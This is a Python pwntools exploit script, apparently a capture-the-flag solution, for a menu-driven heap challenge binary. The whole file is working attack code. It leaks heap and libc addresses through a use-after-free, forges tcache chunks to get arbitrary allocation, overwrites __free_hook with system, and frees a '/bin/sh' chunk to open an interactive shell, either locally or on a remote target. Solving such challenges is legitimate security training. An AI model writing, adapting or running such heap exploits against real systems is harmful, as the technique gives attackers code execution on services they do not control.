from pwn import *

local=1
pc='./houesofAtum'
remote_addr=['',0]
aslr=False
#context.log_level=True

libc=ELF('./libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
#    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x) 
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla("choice:",str(idx))

def add(content):
    choice(1)
    sa("content:",content)

def edit(idx,content):
    choice(2)
    sla("idx:",str(idx))
    sa("content:",content)

def free(idx,c):
    choice(3)
    sla(":",str(idx))
    sla(":",c)

def show(idx):
    choice(4)
    sla(":",str(idx))

if __name__ == '__main__':
    # leak heap
    add("123")
    add("123")
    free(1,'y')
    free(0,'y')
    add('1')
    show(0)
    ru("tent:")
    heap_addr=raddr()-0x231
    lg("Heap addr",heap_addr)


    # allocate a chunk at heap_addr+0x68
    free(0,'y')
    add(p64(0)*7+p64(0x61)+p64(heap_addr+0x68))
    add("123")
    for i in range(7):
        free(0,'n')
    free(1,'y')
    free(0,'y')
    add("123")
    add("123")

    # create fake chunk and leak libc 
    free(1,'y')
    add(p64(0))
    edit(0,p64(0)*3+p64(0xa1))
    free(0,'y')
    edit(1,p64(0))
    add("123")
    free(0,'y')
    edit(1,p64(0))
    add(p64(0x21)*9)
    free(0,'y')

    edit(1,p64(heap_addr+0x280))
    add("123")
    for i in range(0x7):
        free(0,'n')
    free(0,'y')
    edit(1,p64(heap_addr+0x260))
    add("A"*0x20)
    show(0)
    ru("A"*0x20)
    libc_addr=raddr()-0x3ebca0
    lg("Libc address",libc_addr)
    libc.address=libc_addr
    free(0,'y')

    # modify __free_hook
    edit(1,p64(libc.symbols['__free_hook']))
    add(p64(libc.symbols['system']))
    edit(1,'/bin/sh\x00')

    choice(3)
    sla(":",str(1))
    p.interactive()
